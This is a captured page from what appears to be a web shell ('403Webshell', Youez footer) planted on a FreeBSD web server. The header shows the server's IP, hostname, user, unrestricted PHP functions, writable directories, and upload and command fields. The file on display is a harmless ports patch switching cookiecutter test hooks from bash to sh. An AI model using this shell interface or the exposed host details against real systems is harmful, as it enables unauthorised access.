403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/devel/py-cookiecutter/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/devel/py-cookiecutter/files/patch-tests_test__hooks.py
--- tests/test_hooks.py.orig	2020-12-28 09:57:55 UTC
+++ tests/test_hooks.py
@@ -42,7 +42,7 @@ def make_test_repo(name):
         post = 'post_gen_project.sh'
         filename = os.path.join(hook_dir, post)
         with open(filename, 'w') as f:
-            f.write("#!/bin/bash\n")
+            f.write("#!/bin/sh\n")
             f.write("\n")
             f.write("echo 'post generation hook';\n")
             f.write("touch 'shell_post.txt'\n")
@@ -143,7 +143,7 @@ class TestExternalHooks(object):
                 f.write("echo. >{{cookiecutter.file}}\n")
         else:
             with open(hook_path, 'w') as fh:
-                fh.write("#!/bin/bash\n")
+                fh.write("#!/bin/sh\n")
                 fh.write("\n")
                 fh.write("echo 'post generation hook';\n")
                 fh.write("touch 'shell_post.txt'\n")

Youez - 2016 - github.com/yon3zu
LinuXploit